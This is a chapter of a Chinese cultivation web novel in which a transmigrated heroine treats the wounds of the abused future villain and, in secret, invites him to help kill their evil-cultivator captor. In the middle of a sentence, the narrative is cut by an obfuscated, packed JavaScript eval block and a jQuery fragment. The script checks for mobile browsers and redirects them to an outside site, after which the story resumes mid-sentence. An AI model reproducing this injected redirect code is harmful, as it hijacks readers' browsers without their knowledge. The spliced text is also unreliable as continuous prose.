2. 琉璃
作品:《病娇反派他为何这样》 “我叫蔺雪沉。”少年的嗓音清澈如镜,带着几分不知世事的天真。李青蘅却知这份天真面孔下,是偏执到几欲毁灭一切的残忍。
李青蘅眉眼弯了弯,从发间取下一只琉璃钗。发钗上缀着细碎的紫云英,繁复蜿蜒成几穗藤萝。
她将琉璃钗顶部的暗扣推了一下,它就变作一株小小的琉璃紫藤树。李青蘅将它立在那朵野花旁:“花树相依,便不怕风雨了。”
琉璃钗不过是一件连寻常法器都算不上的小物件,蔺雪沉却好似有了些兴趣一般。李青蘅看着他微微泛起波澜的目光,觉得自己的任务有了希望。
蔺雪沉五岁被吴照子掳走,被这个邪修圈养了十年。在他的认知里,术法是用来害人的、法器是用来杀人的。这种非黑即白、非对即错的观念贯彻了他的一生。
她首先要做的,就是扭转他的观念。
一丝血腥气充斥在伞下小小一方天地。身为修士,李青蘅五感比寻常人敏锐许多:“你受伤了?”
蔺雪沉乌沉沉的眼睛盯着她,薄唇轻抿:“没有。”
然而,他那逐渐染红的衣衫已然出卖了他。
李青蘅微微皱眉:“这样可不好,你有没有伤药?”原著中未曾提到他受伤这一节。想来因为有人出逃,他又被吴照子责罚折磨了。
琉璃树在风中互相撞击,发出细碎声响。雨越来越大了。
蔺雪沉垂眸盯着那朵野花:这个刚认识连半个时辰都没有的人,居然在关心他?
他站起身来,身形有些摇摇欲坠。李青蘅还没来得及再劝他,对方连人带伞一齐摔在地上。李青蘅吓了一跳,赶紧去查看对方状况。
坏消息,人还没死。
在一本书里,如果说男主是生命力最顽强的生物。那么反派一定是第二顽强的那个。他们作为主角的经验包,升级贡献功法、贡献装备,除了主角没人能收走反派的人头。
作为头号反派的蔺雪沉,恐怕会一直活蹦乱跳到最后了。
李青蘅将蔺雪沉背起来,把他挪到房间里去。
蔺雪沉住的地方如雪洞一般,只有最简单的起居用具:一桌一床一凳、还有一座木柜。除此之外,没有任何装饰。想来也是,一个早晚会被用作祭品的人,吴照子怎可能会悉心关照他。
房间四角点着白蜡,烛火幽幽,驱散黑暗。
李青蘅将人放在床榻上,随后在木柜中翻找伤药。原著中提及,蔺雪沉从小被虐待长大。每次受伤,吴照子都让他一个人自生自灭,若是死了,大不了再换一个祭品。
蔺雪沉就靠着捡用炼丹的边角料药材,艰难活了下来。这个房间中,全部都是他自己调配的药。
瓷罐磕碰时泠泠作响,李青蘅找到了一些治疗外伤的膏药,又给自己拿了一些:她的储物袋被夺去了,手边连一点常用伤药都无。今日与吴照子斗法,对方下手狠辣,伤口现在还隐隐作痛呢。
事有轻重缓急。李青蘅将少年的外衫解开,掀开染血里衣。做这件事情时,她没有丝毫忸怩:上辈子十几年的网络冲浪经验,什么大风大浪没见过。
然后,李青蘅沉默了:这场面她还真没见过。少年浑身是狰狞伤疤,陈年旧伤叠着新伤,蜿蜒如蜈蚣,看着十分可怖。
如果她未曾记错的话,蔺雪沉是隐藏了修为的,同自己一样是引气境后期。
而吴照子是断尘境中期,即将进阶。
此方世界,修士的修炼速度是根据灵根资质决定的。吴照子资质不过下中之品,四十岁入道,至今已近两百岁。如无意外,他这辈子都不可能突破至飞光境。
为了修为、为了寿元,他选择了修习一本偶得的邪术残本,以人为祭,强行提升修为。
蔺雪沉就是在这个前提下,靠着一本从被吴照子所杀的散修身上捡来的功法,偷偷修炼到引气境。
修士肉身恢复能力普遍十分强悍。蔺雪沉为了隐藏修为,每每在伤口快要愈合时便再割开,让吴照子以为他还是个普通人,从而放松警惕。
若非沈无咎插手,蔺雪沉假以时日,还真能实现反杀。
李青蘅一边回忆着剧情,一边给蔺雪沉上药。他这次伤得很重,若非有真元护体,能挺到现在简直就是个奇迹。
少年的体温很低,皮肤摸上去柔软冰凉。原著中,他对沈无咎说自己是变异冰天灵根,因此体质异于常人。
李青蘅看到这段剧情时也被带跑偏了:冰灵根啊......这不是修仙文男二号的标配么。
这种人设的角色,要么就是天性淡漠、拿了深情隐忍男配的剧本,要么就是性格高傲、却被主角的光环所折服甘当绿叶。
然后,作者的恶意就和脱缰剧情一起扑面而来:主角偶遇黑心莲反派,拼尽全力同归于尽,整个修仙界跟着一起陪葬。
而反派蔺雪沉出身的这座无名道观,因此被书友戏称为中洲最强门派,没有之一。
只剩下最后一道伤口了。李青蘅将半透明的乳白药膏挖起一块,正要继续上药,就被人握住手腕。
对方的指尖寒凉如玉。
蔺雪沉一瞬不瞬盯着她:“为什么救我?”
为什么?因为不把你感化成五好少年,大家都要完蛋啊。李青蘅笑眯眯看着他:“上天有好生之德,你非是邪修,我为何不救?”
非是邪修?蔺雪沉眼底泛起一丝凉意:仅仅是这个原因而已吗?
见他不说话,李青蘅用眼神示意:“蔺道友一直抓着我的手,我还怎么给你上药?”
少年松开手支起身子,看对面少女用十分娴熟的手法替自己包扎伤口。李青蘅在青莲剑庄修炼长大,也不是没见过血。从前师姐受了伤,她也是上过药的。
不得不说,蔺雪沉身为修仙文反派,该有的皮相一分不少:面如静水照花、睫如鸦羽,俊美却不显阴柔——却是朵满嘴獠牙的食人花。
包扎完毕,李青蘅给绷带打了一个完美的蝴蝶结:“百病退散,诸邪不侵。”
见蔺雪沉有些疑惑,她解释道:“这是一句咒语。说出来,伤口会好的更快哦。”
这句话,是她跟着一位医
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552061|171271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
修学的,是一句哄小孩子的口头禅。
那位医修从前是凡人,后来以医入道,游历过许多地方,最后在青莲剑庄留下来。李青蘅跟着她学了不少东西。
蔺雪沉蜷起掌心,冷声道:“道友莫非觉得我是三岁小孩?还是欺我不曾开脉入道?”他抿着唇,仿佛自尊心真的被这番话打击到了一般。
真难哄啊。若非李青蘅看过剧本,还真就信了他是一朵柔弱小白莲。
“既未开脉,为何称我为道友?”李青蘅丝毫不惧,即使对方是未来的大魔王。
这是什么?一个板上钉钉的洞天境大能,欺负一下。
蔺雪沉一时语塞,别过脸不去看她。长长的乌发覆盖他右侧脸颊,半是阴翳、半是皎洁。
对方知道自己有修为,怎么知道的?要不要......杀了她。
李青蘅见少年默不作声,就知对方可能又在谋划什么了。那句话说得好:我向来是不惮用最坏的恶意揣测反派的。
李青蘅对他伸出手:“道友莫怪,要不要和我玩个游戏?”
蔺雪沉像在看什么妖物一样看着她。
已知:雷雨夜,邪修道观,两个受制于人还都负伤的小修士。求解:这个副本怎么双排?答曰:做游戏。
门被猛然推开。吴照子阴测测地盯着李青蘅:“周道友,这么晚了你在我徒儿房间里做什么?”
他露出一个黏腻阴湿的笑,像是毒蛇一般:“莫不是看上我这不成器的徒弟了?”
李青蘅甩了甩手站起来:“蔺道友风清玉秀,我只不过想和他结交一番。”说罢,她心头一跳,看了看蔺雪沉。
这朵食人花不会把自己的名字说出去的吧?然而蔺雪沉只是弯了弯唇,好似听到什么有意思的事情。她松了一口气。
结交一番?吴照子内心轻嗤:一个快死的、一个脑子不好使的。
“明日贫道还要开坛做法,道友还是莫要再乱跑了。”突破在即,吴照子不愿节外生枝。
他有些后悔:早知这“周玥”是青莲剑庄的弟子,何必要把人抓回来。搞到现在放也不是,杀也不是,真真棘手。
若要放了,她回去必然会找师长转头杀回来。而若是杀了,青莲剑庄弟子可都是有本命玉牌的,到那时仍是一死。
吴照子打定主意:等到了突破断尘境后期,学会了那门遁术,届时这座道观就可以舍弃了。
至于这两人……自然也就不复存在了。
想了想,他虚虚一抓,就将李青蘅隔空摄了过来。他抓着对方的衣领,右手结印又打了几道禁制:“在此之前,你还是在房间老老实实待着吧!”
李青蘅兢兢业业扮演着无脑炮灰,降低对方警惕心:“喂!快放了我,我师父是李秋堂!”她一边扭,一边吱哇乱叫。
蔺雪沉就这样看着李青蘅被吴照子像抓鸡仔一样抓了回去。
他摊开手心,刚刚少女用指尖划过的地方还有一些痒意。方才她在那人进门之前,在他手心里写下了游戏的名字。
杀吴照子。